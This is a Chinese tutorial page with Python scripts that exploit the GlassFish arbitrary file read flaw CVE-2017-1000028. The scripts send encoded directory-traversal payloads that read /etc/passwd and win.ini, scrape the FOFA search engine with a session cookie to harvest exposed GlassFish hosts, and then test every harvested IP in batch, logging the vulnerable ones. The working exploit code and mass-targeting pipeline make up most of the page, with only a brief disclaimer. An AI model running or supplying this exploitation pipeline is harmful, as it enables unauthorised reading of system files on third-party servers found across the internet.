Python脚本开发漏洞的批量搜索与利用(GlassFish 任意文件读取)

 更新时间:2022年05月19日 14:36:34   作者:半个西瓜.  
这篇文章主要介绍了Python 开发漏洞的批量搜索与利用(GlassFish 任意文件读取),主要包括python开发学习的意义及测试漏洞是否存在的步骤,需要的朋友可以参考下

Python 开发学习的意义:

(1)学习相关安全工具原理.

(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.

(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.

免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

测试漏洞是否存在的步骤:

(1)应用服务器GlassFish 任意文件读取 漏洞.

#测试应用服务器glassfish任意文件读取漏洞.
import requests                                 #调用requests模块
 
url="输入IP地址/域名"                            #下面这个二个是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'            #检测linux系统的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'        #检测windows系统
data_linux=requests.get(url+payload_linux).status_code  #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
data_windows=requests.get(url+payload_windows).status_code      #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
if data_windows==200 or data_linux==200:            #200说明可以请求这个数据.则存在这个漏洞.
    print("漏洞存在")
else:
    print("漏洞不存在")

效果图:

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028)

import base64
import requests
from lxml import etree
import time
#(1)获取到可能存在漏洞的地址信息-借助Fofa进行获取目标.
#(2)批量请求地址信息进行判断是否存在-单线程和多线程
search_data='"glassfish" && port="4848"'        #这个是搜索的内容.
headers={                                       #要登录账号的Cookie.
    'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20'        #请求20个.
}
for yeshu in range(1,11):                       #搜索前10页.
    url='https://fofa.info/result?page='+str(yeshu)+'&qbase64='         #这个是链接的前面.
    search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")        #对数据进行加密.
    urls=url+search_data_bs
    print('正在提取第'+str(yeshu)+'页')                           #打印正在提取第的页数.
    try:                                    #请求异常也执行.
        result=requests.get(urls,headers=headers,timeout=1).content           #requests.get请求url,请求的时候用这个headers=headers头(就是加入Cookie请求),请求延迟 timeout=1,content将结果打印出来.
        #print(result.decode('utf-8'))               #decode是编码.
        soup=etree.HTML(result)                     #把结果进行提取.(调用HTML类对HTML文本进行初始化,成功构造XPath解析对象,同时可以自动修正HMTL文本)
        ip_data=soup.xpath('//a[@target="_blank"]/@href')          #也就是爬虫自己要的数据 ,提取a标签,后面为@target="_blank"的href值也就是IP地址.
        #print(ip_data)
        ipdata='\n'.join(ip_data)               #.join(): 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
        print(ip_data)
        with open(r'ip.txt','a+') as f:         #打开一个文件(ip.txt),f是定义的名.
            f.write(ipdata+'\n')                #将ipdata的数据写进去,然后换行.
            f.close()                           #关闭.
    except Exception as e:
        pass
        #执行后文件下面就会生成一个ip.txt文件.

效果图:

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028)

import requests
import time
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
 
for ip in open('ip.txt'):       #打开ip.txt文件
    ip=ip.replace('\n','')      #替换换行符 为空.
    windows_url=ip+payload_windows        #请求windows
    linux_url=ip+payload_linux            #请求linux
    #print(windows_url)
    #print(linux_url)
    try:
        print(ip)
        result_code_linux=requests.get(windows_url).status_code                #请求linux
        result_code_windows=requests.get(linux_url).status_code              #请求windows
        print("chrck->" +ip)            #打印在检测哪一个IP地址.
        if result_code_linux==200 or result_code_windows==200:
            with open(r'result.txt','a+') as f:           #写入result.txt文件.
                f.write(ip)                 #如果有漏洞就写入ip.
 
        time.sleep(5)
    except Exception as e:
        pass

效果图:

(4)漏洞的利用.

到此这篇关于Python 开发漏洞的批量搜索与利用(GlassFish 任意文件读取)的文章就介绍到这了,更多相关python开发 漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 如何在mac版pycharm选择python版本

    如何在mac版pycharm选择python版本

    这篇文章主要介绍了如何在mac版pycharm选择python版本,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-07-07
  • Anaconda下Python中h5py与netCDF4模块下载与安装的教程详解

    Anaconda下Python中h5py与netCDF4模块下载与安装的教程详解

    这篇文章主要为大家详细介绍了基于Anaconda,下载并安装Python中h5py与netCDF4这两个模块的方法,感兴趣的小伙伴可以跟随小编一起学习一下
    2024-01-01
  • Python识别二维码的两种方法详解

    Python识别二维码的两种方法详解

    在学习Python处理二维码的过程中,我们看到的大多是“用python生成酷炫二维码”、“用Python制作动图二维码”之类的文章。而关于使用Python批量识别二维码的教程,并不多见。本文就为大家总结了Python识别二维码的两种方法,感兴趣的可以学习一下
    2022-06-06
  • Python调用Windows API函数编写录音机和音乐播放器功能

    Python调用Windows API函数编写录音机和音乐播放器功能

    这篇文章主要介绍了Python调用Windows API函数编写录音机和音乐播放器功能,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-01-01
  • 用Python进行屏幕录制的实现

    用Python进行屏幕录制的实现

    关于屏幕录制这个功能需求,之前用过基于ffmpeg的Capture录屏软件,但是fps拉高以后会变得很卡,声音也同样出现卡顿,所以本文给大家介绍了用Python进行屏幕录制的实现,感兴趣的朋友可以参考下
    2024-04-04
  • Python强化练习之Tensorflow2 opp算法实现月球登陆器

    Python强化练习之Tensorflow2 opp算法实现月球登陆器

    在面向对象出现之前,我们采用的开发方法都是面向过程的编程(OPP)。面向过程的编程中最常用的一个分析方法是“功能分解”。我们会把用户需求先分解成模块,然后把模块分解成大的功能,再把大的功能分解成小的功能,整个需求就是按照这样的方式,最终分解成一个一个的函数
    2021-10-10
  • Python利用卡方Chi特征检验实现提取关键文本特征

    Python利用卡方Chi特征检验实现提取关键文本特征

    卡方检验最基本的思想就是通过观察实际值与理论值的偏差来确定理论的正确与否。本文将利用卡方Chi特征检验实现提取关键文本特征功能,感兴趣的可以了解一下
    2022-12-12
  • 解决python3 requests headers参数不能有中文的问题

    解决python3 requests headers参数不能有中文的问题

    今天小编就为大家分享一篇解决python3 requests headers参数不能有中文的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08
  • python用moviepy对视频进行简单的处理

    python用moviepy对视频进行简单的处理

    这篇文章主要介绍了python如何用moviepy对视频进行简单的处理,帮助大家更好的利用python处理视频,感兴趣的朋友可以了解下
    2021-03-03
  • python分别打包出32位和64位应用程序

    python分别打包出32位和64位应用程序

    本文给大家分享的是如何使用python打包出32位和64位的应用程序的方法,非常的简单实用,有需要的小伙伴可以参考下
    2020-02-02

最新评论